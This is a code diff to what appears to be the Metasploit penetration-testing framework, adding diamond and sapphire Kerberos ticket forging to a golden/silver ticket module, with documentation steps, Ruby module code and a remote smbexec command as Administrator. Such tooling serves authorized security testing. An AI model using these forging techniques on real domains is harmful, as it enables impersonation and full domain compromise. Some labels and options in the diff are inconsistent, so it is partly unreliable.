diff --git a/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md b/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md index 71d1fa1f81..43a995f9a6 100644 --- a/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md +++ b/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md @@ -1,6 +1,6 @@ ## Kerberos Ticket Forging (Golden/Silver tickets) -The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden or silver ticket. +The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden, silver, diamond or sapphire ticket. ## Vulnerable Application @@ -12,6 +12,8 @@ There are two kind of actions the module can run: 1. **FORGE_SILVER** - Forge a Silver ticket - forging a service ticket. [Default] 2. **FORGE_GOLDEN** - Forge a Golden ticket - forging a ticket granting ticket. +3. **FORGE_DIAMOND** - Forge a Diamond ticket - forging a ticket granting ticket by copying the PAC of another user. +4. **FORGE_SAPPHIRE** - Forge a Golden ticket - forging a ticket granting ticket by copying the PAC of a particular user, using the S4U2Self+U2U trick. ## Pre-Verification steps @@ -199,6 +201,39 @@ export KRB5CCNAME=/Users/user/.msf4/loot/20220901132003_default_192.168.123.13_k python3 $code/impacket/examples/smbexec.py 'adf3.local/Administrator@dc3.adf3.local' -dc-ip 192.168.123.13 -k -no-pass ``` +### Forging Diamond ticket + +A diamond ticket is just a golden ticket (thus requiring knowledge of the krbtgt hash), with an attempt to be stealthier, by: + +- Performing an AS-REQ request to retrieve a TGT for any user +- Using the krbtgt hash to decrypt the real ticket +- Setting properties of the forged PAC to mirror those in the valid TGT +- Encrypting the forged ticket with the krbtgt hash + +The primary requirement of a Diamond ticket is the same: knowledge of the krbtgt hash of the domain. +The `DOMAIN_SID` property is not required, as this is retrieved from the valid TGT. + +To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain +(i.e. `RHOST`, `USERNAME` and `PASSWORD`). + +### Forging Sapphire ticket + +A sapphire ticket is similar to a Diamond ticket, in that it retrieves a real TGT, and copies data from that PAC onto the forged ticket. However, +instead of using the ticket retrieved in the initial authentication, an additional step is performed to retrieve a PAC for another (presumably +high-privilege) user: + +- Authenticating to the KDC +- Using the S4U2Self and U2U extensions to request a TGS for a high-privilege user (this mirrors what the real user's PAC would look like, but the ticket is unusable in high-privilege contexts) +- Using the krbtgt hash to decrypt this information +- Setting properties of the forged PAC to mirror those in the valid TGT +- Encrypting the forged ticket with the krbtgt hash + +The primary requirement of a Sapphire ticket is the same as for Golden and Diamond tickets: knowledge of the krbtgt hash of the domain. +The `DOMAIN_SID` and `DOMAIN_RID` properties are not required, as this is retrieved from the valid TGT. + +To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain +(i.e. `RHOST`, `USERNAME` and `PASSWORD`). + ### Common Mistakes **Invalid hostname** diff --git a/lib/msf/core/exploit/remote/kerberos/client/pac.rb b/lib/msf/core/exploit/remote/kerberos/client/pac.rb index aa2fc7a9b5..ba4d4cd267 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/pac.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/pac.rb @@ -51,7 +51,6 @@ module Msf primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS] extra_sids = opts[:extra_sids] || [] - domain_name = opts[:realm] || '' logon_domain_name = opts[:logon_domain_name] || opts[:realm] || '' logon_count = opts.fetch(:logon_count) { 0 } password_last_set = opts.fetch(:password_last_set) { nil } diff --git a/lib/msf/core/exploit/remote/kerberos/ticket.rb b/lib/msf/core/exploit/remote/kerberos/ticket.rb index 69c02bf13c..9c22da94b9 100644 --- a/lib/msf/core/exploit/remote/kerberos/ticket.rb +++ b/lib/msf/core/exploit/remote/kerberos/ticket.rb @@ -153,6 +153,7 @@ module Msf opts[:logon_domain_name] = element.data.logon_domain_name opts[:logon_count] = element.data.logon_count opts[:password_last_set] = element.data.password_last_set + opts[:user_id] = element.data.user_id unless opts[:user_id] if copy_entire_pac opts[:base_verification_info] = element.data element.data.extra_sids.each do |sid| diff --git a/modules/auxiliary/admin/kerberos/forge_ticket.rb b/modules/auxiliary/admin/kerberos/forge_ticket.rb index dc2c5b8c28..53624eaec7 100644 --- a/modules/auxiliary/admin/kerberos/forge_ticket.rb +++ b/modules/auxiliary/admin/kerberos/forge_ticket.rb @@ -12,12 +12,13 @@ class MetasploitModule < Msf::Auxiliary super( update_info( info, - 'Name' => 'Kerberos Silver/Golden Ticket Forging', + 'Name' => 'Kerberos Silver/Golden/Diamond/Sapphire Ticket Forging', 'Description' => %q{ This module forges a Kerberos ticket. Four different techniques can be used: - Silver ticket: Using a service account hash, craft a ticket impersonating any user and privileges to that account. - Golden ticket: Using the krbtgt hash, craft a ticket impersonating any user and privileges. - - Diamond ticket: Authenticate to + - Diamond ticket: Authenticate to the domain controller, and using the krbtgt hash, copy the PAC from the authenticated user to a forged ticket. + - Sapphire ticket: Use the S4U2Self+U2U trick to retrieve the PAC of another user, then use the krbtgt hash to craft a forged ticket. }, 'Author' => [ 'Benjamin Delpy', # Original Implementation @@ -30,10 +31,10 @@ class MetasploitModule < Msf::Auxiliary ], 'License' => MSF_LICENSE, 'Notes' => { - 'Stability' => [], - 'SideEffects' => [], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [], - 'AKA' => ['Silver Ticket', 'Golden Ticket', 'Diamond Ticket', 'Sapphire Ticket', 'Ticketer', 'Klist'] + 'AKA' => ['Silver Ticket', 'Golden Ticket', 'diamond', 'sapphire', 'Ticketer', 'Klist'] }, 'Actions' => [ ['FORGE_SILVER', { 'Description' => 'Forge a Silver Ticket' } ], @@ -59,7 +60,6 @@ class MetasploitModule < Msf::Auxiliary OptString.new('EXTRA_SIDS', [ false, 'Extra sids separated by commas, Ex: S-1-5-21-1755879683-3641577184-3486455962-519']), OptString.new('SPN', [ false, 'The Service Principal Name (Only used for silver ticket)'], conditions: %w[ACTION == FORGE_SILVER]), OptInt.new('DURATION', [ false, 'Duration of the ticket in days', 3650], conditions: forged_manually_condition), - OptString.new('REQUEST_USER', [false, 'The user to request a ticket for, to base the forged ticket on'], conditions: based_on_real_ticket_condition), OptString.new('REQUEST_PASSWORD', [false, "The user's password, used to retrieve a base ticket"], conditions: based_on_real_ticket_condition), OptAddress.new('RHOSTS', [false, 'The address of the KDC' ], conditions: based_on_real_ticket_condition), @@ -130,7 +130,7 @@ class MetasploitModule < Msf::Auxiliary validate_sid! validate_key! sname = datastore['SPN'].split('/', 2) - flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(silver_ticket_flags) + flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgs_flags) forge_ccache(sname: sname, flags: flags, is_golden: false) end @@ -138,11 +138,12 @@ class MetasploitModule < Msf::Auxiliary validate_sid! validate_key! sname = ['krbtgt', datastore['DOMAIN'].upcase] - flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags) + flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags) forge_ccache(sname: sname, flags: flags, is_golden: true) end def forge_diamond + validate_remote validate_key! begin @@ -159,8 +160,9 @@ class MetasploitModule < Msf::Auxiliary tgt_result = send_request_tgt(**options) rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e - print_error("Requesting TGT failed: #{e.message}") - return + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Requesting TGT failed: #{e.message}") + rescue Rex::HostUnreachable => e + fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}") end if tgt_result.krb_enc_key[:enctype] != enc_type @@ -169,7 +171,7 @@ class MetasploitModule < Msf::Auxiliary end ticket = modify_ticket(tgt_result.as_rep.ticket, tgt_result.decrypted_part, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, enc_key, enc_type, enc_key, false) - ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST']) + Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST']) if datastore['VERBOSE'] print_ccache_contents(ticket, key: enc_key) @@ -177,13 +179,21 @@ class MetasploitModule < Msf::Auxiliary end def forge_sapphire + validate_remote + validate_key! options = { stop_if_preauth_not_required: false } enc_key, enc_type = get_enc_key_and_type include_crypto_params(options, enc_key, enc_type) - auth_context = kerberos_authenticator.authenticate_via_kdc(options) + begin + auth_context = kerberos_authenticator.authenticate_via_kdc(options) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error authenticating to KDC: #{e}") + rescue Rex::HostUnreachable => e + fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}") + end credential = auth_context[:credential] print_status("#{peer} - Using U2U to impersonate #{datastore['USER']}@#{datastore['DOMAIN']}") @@ -193,15 +203,30 @@ class MetasploitModule < Msf::Auxiliary value: credential.keyblock.data.value ) - tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER']) - ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true) - ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST']) + begin + tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER']) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error executing S4U2Self+U2U: #{e}") + rescue Rex::HostUnreachable => e + fail_with(Msf::Exploit::Failure::Unreachable, "Error executing S4U2Self+U2U: #{e.message}") + end + # Don't pass a user RID in: we'll retrieve it from the decrypted PAC + ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], nil, datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true) + Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST']) if datastore['VERBOSE'] print_ccache_contents(ticket, key: enc_key) end end + def validate_remote + if datastore['RHOST'].nil? || datastore['RHOST'].empty? + fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify RHOST for sapphire and diamond tickets') + elsif datastore['REQUEST_USER'].nil? || datastore['REQUEST_USER'].empty? + fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify REQUEST_USER for sapphire and diamond tickets') + end + end + def kerberos_authenticator options = { host: datastore['RHOST'], diff --git a/spec/lib/rex/proto/kerberos/pac/krb5_pac_spec.rb b/spec/lib/rex/proto/kerberos/pac/krb5_pac_spec.rb index 9b3e5a3bb9..c8f51c825c 100644 --- a/spec/lib/rex/proto/kerberos/pac/krb5_pac_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/krb5_pac_spec.rb @@ -139,7 +139,6 @@ RSpec.describe Rex::Proto::Kerberos::Pac::Krb5Pac do pac.assign(pac_elements: pac_elements_with_upn) pac.sign! data = pac.to_binary_s - print("data is #{data.inspect}\n") result = Rex::Proto::Kerberos::Pac::Krb5Pac.read(data) expect(result).to eq(pac) end